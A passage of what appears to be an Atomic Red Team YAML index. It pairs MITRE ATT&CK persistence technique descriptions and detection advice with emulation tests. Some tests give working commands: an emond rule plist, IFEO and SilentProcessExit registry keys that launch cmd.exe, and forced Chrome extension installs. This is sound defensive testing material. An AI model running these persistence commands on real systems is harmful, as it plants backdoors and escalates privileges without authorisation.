      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_contributors:
      - Ivan Sinyakov
      x_mitre_platforms:
      - macOS
      identifier: T1546.014
    atomic_tests:
    - name: Persistance with Event Monitor - emond
      auto_generated_guid: 23c9c127-322b-4c75-95ca-eff464906114
      description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor)
        daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124

'
      supported_platforms:
      - macos
      input_arguments:
        plist:
          description: Path to attacker emond plist file
          type: Path
          default: PathToAtomicsFolder/T1546.014/src/T1546.014_emond.plist
      executor:
        command: |
          sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist
          sudo touch /private/var/db/emondClients/T1546.014
        cleanup_command: |
          sudo rm /etc/emond.d/rules/T1546.014_emond.plist
          sudo rm /private/var/db/emondClients/T1546.014
        name: sh
        elevation_required: true
  T1546:
    technique:
      id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db
      description: "Adversaries may establish persistence and/or elevate privileges
        using system mechanisms that trigger execution based on specific events. Various
        operating systems have means to monitor and subscribe to events such as logons
        or other user activity such as running specific applications/binaries. \n\nAdversaries
        may abuse these mechanisms as a means of maintaining persistent access to
        a victim via repeatedly executing malicious code. After gaining access to
        a victim system, adversaries may create/modify event triggers to point to
        malicious content that will be executed whenever the event trigger is invoked.(Citation:
        FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia
        malware)\n\nSince the execution can be proxied by an account with higher permissions,
        such as SYSTEM or service accounts, an adversary may be able to abuse these
        triggered execution mechanisms to escalate their privileges. "
      name: Event Triggered Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546
        url: https://attack.mitre.org/techniques/T1546
      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        source_name: FireEye WMI 2015
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        source_name: Malware Persistence on OS X
      - url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
        source_name: amnesia malware
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-13T21:32:54.610Z'
      created: '2020-01-22T21:04:23.285Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'WMI: WMI Creation'
      - 'File: File Metadata'
      - 'Module: Module Load'
      x_mitre_detection: "Monitoring for additions or modifications of mechanisms
        that could be used to trigger event-based execution, especially the addition
        of abnormal commands such as execution of unknown programs, opening network
        sockets, or reaching out across the network. Also look for changes that do
        not line up with updates, patches, or other planned administrative activity.
        \n\nThese mechanisms may vary by OS, but are typically stored in central repositories
        that store configuration information such as the Windows Registry, Common
        Information Model (CIM), and/or specific named files, the last of which can
        be hashed and compared to known good values. \n\nMonitor for processes, API/System
        calls, and other common ways of manipulating these event repositories. \n\nTools
        such as Sysinternals Autoruns can be used to detect changes to execution triggers
        that could be attempts at persistence. Also look for abnormal process call
        trees for execution of other commands that could relate to Discovery actions
        or other techniques.  \n\nMonitor DLL loads by processes, specifically looking
        for DLLs that are not recognized or not normally loaded into a process. Look
        for abnormal process behavior that may be due to a process loading a malicious
        DLL. Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as making network connections
        for Command and Control, learning details about the environment through Discovery,
        and conducting Lateral Movement. "
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
    atomic_tests: []
  T1098.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1098.002
        url: https://attack.mitre.org/techniques/T1098/002
      - source_name: Microsoft - Add-MailboxPermission
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
        description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September
          13, 2019.
      - url: https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
        description: Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.
        source_name: FireEye APT35 2018
      - source_name: Crowdstrike Hiding in Plain Sight 2018
        url: https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/
        description: 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the
          Office 365 Activities API to Investigate Business Email Compromises. Retrieved
          January 19, 2020.'
      - source_name: Bienstock, D. - Defending O365 - 2019
        url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
        description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending
          O365. Retrieved September 13, 2019.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exchange Email Delegate Permissions
      description: |-
        Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)

        This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
      id: attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-05-04T19:18:36.254Z'
      created: '2020-01-19T16:54:28.516Z'
      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.

        A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.
      x_mitre_data_sources:
      - 'Group: Group Modification'
      - 'User Account: User Account Modification'
      x_mitre_platforms:
      - Windows
      - Office 365
    atomic_tests: []
  T1574.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.005
        url: https://attack.mitre.org/techniques/T1574/005
      - source_name: mozilla_sec_adv_2012
        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
          Advisory 2012-98. Retrieved March 10, 2017.
      - source_name: Executable Installers are Vulnerable
        url: https://seclists.org/fulldisclosure/2015/Dec/34
        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
          of privilege. Retrieved December 4, 2014.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Executable Installer File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-26T19:20:23.030Z'
      created: '2020-03-13T11:12:18.558Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - Administrator
      - User
      - SYSTEM
      x_mitre_detection: |-
        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1133:
    technique:
      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: External Remote Services
      description: |-
        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.

        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
      external_references:
      - source_name: mitre-attack
        external_id: T1133
        url: https://attack.mitre.org/techniques/T1133
      - external_id: CAPEC-555
        source_name: capec
        url: https://capec.mitre.org/data/definitions/555.html
      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        source_name: Volexity Virtual Private Keylogging
      - source_name: Trend Micro Exposed Docker Server
        url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
          Target Exposed Docker Servers. Retrieved April 5, 2021.
      - source_name: Unit 42 Hildegard Malware
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-22T20:22:02.443Z'
      created: '2017-05-31T21:31:44.421Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - Containers
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.

        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Metadata'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_contributors:
      - ExtraHop
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Rory McCune, Aqua Security
      - Yuval Avrahami, Palo Alto Networks
      - Jay Chen, Palo Alto Networks
      - Brad Geesaman, @bradgeesaman
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Daniel Oakley
      - Travis Smith, Tripwire
      x_mitre_version: '2.2'
      identifier: T1133
    atomic_tests:
    - name: Running Chrome VPN Extensions via the Registry 2 vpn extension
      auto_generated_guid: 4c8db261-a58b-42a6-a866-0a294deedde4
      description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension,
        please see "T1133\src\list of vpn extension.txt" to view complete list

'
      supported_platforms:
      - windows
      input_arguments:
        chrome_url:
          description: chrome installer download URL
          type: Url
          default: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe
        extension_id:
          description: chrome extension id
          type: String
          default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme"

'
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chrome must be installed

'
        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
          {exit 0} else {exit 1}
        get_prereq_command: "Invoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.exe
          #{chrome_url}\nStart-Process $env:temp\\ChromeStandaloneSetup64.exe /S     \n"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
            New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
            New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
          Start chrome
          Start-Sleep -Seconds 30
          Stop-Process -Name "chrome"
        cleanup_command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
          Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}
  T1574:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574
        url: https://attack.mitre.org/techniques/T1574
      - source_name: Autoruns for Windows
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hijack Execution Flow
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T19:55:20.290Z'
      created: '2020-03-12T20:38:12.465Z'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_detection: |-
        Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Monitor for changes to environment variables, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1062:
    technique:
      id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hypervisor
      description: |-
        **This technique has been deprecated and should no longer be used.**

        A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
      external_references:
      - source_name: mitre-attack
        external_id: T1062
        url: https://attack.mitre.org/techniques/T1062
      - external_id: CAPEC-552
        source_name: capec
        url: https://capec.mitre.org/data/definitions/552.html
      - url: https://en.wikipedia.org/wiki/Hypervisor
        description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.
        source_name: Wikipedia Hypervisor
      - url: http://en.wikipedia.org/wiki/Xen
        description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.
        source_name: Wikipedia Xen
      - url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
        description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted
          Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.
        source_name: Myers 2007
      - url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html
        description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee).
          (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;.
          Retrieved November 13, 2014.
        source_name: virtualization.info 2006
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-30T13:44:04.712Z'
      created: '2017-05-31T21:30:50.958Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: 'Type-1 hypervisors may be detected by performing timing
        analysis. Hypervisors emulate certain CPU instructions that would normally
        be executed by the hardware. If an instruction takes orders of magnitude longer
        to execute than normal on a system that should not contain a hypervisor, one
        may be present. (Citation: virtualization.info 2006)'
      x_mitre_version: '2.0'
    atomic_tests: []
  T1546.012:
    technique:
      created: '2020-01-24T15:05:58.384Z'
      modified: '2020-11-10T18:29:31.112Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

        Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

        Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
      name: Image File Execution Options Injection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546.012
        url: https://attack.mitre.org/techniques/T1546/012
      - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
          Retrieved December 18, 2017.
        source_name: Microsoft Dev Blog IFEO Mar 2010
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
          18, 2017.
        source_name: Microsoft GFlags Mar 2017
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
          Process Exit. Retrieved June 27, 2018.
        source_name: Microsoft Silent Process Exit NOV 2017
      - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
        source_name: Oddvar Moe IFEO APR 2018
      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        source_name: Tilbury 2014
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
          Retrieved December 18, 2017.
        source_name: FSecure Hupigon
      - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
          18, 2017.
        source_name: Symantec Ushedix June 2008
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1546.012
    atomic_tests:
    - name: IFEO Add Debugger
      auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8
      description: 'Leverage Global Flags Settings

'
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: Path
          default: C:\Windows\System32\calc.exe
        payload_binary:
          description: Binary To Execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
          File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"

'
        cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
          NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger
          /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: IFEO Global Flags
      auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1
      description: 'Leverage Global Flags Settings

'
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: Path
          default: C:\Windows\System32\notepad.exe
        payload_binary:
          description: Binary To Execute
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1525:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1525
        url: https://attack.mitre.org/techniques/T1525
      - source_name: Rhino Labs Cloud Image Backdoor Technique Sept 2019
        url: https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/
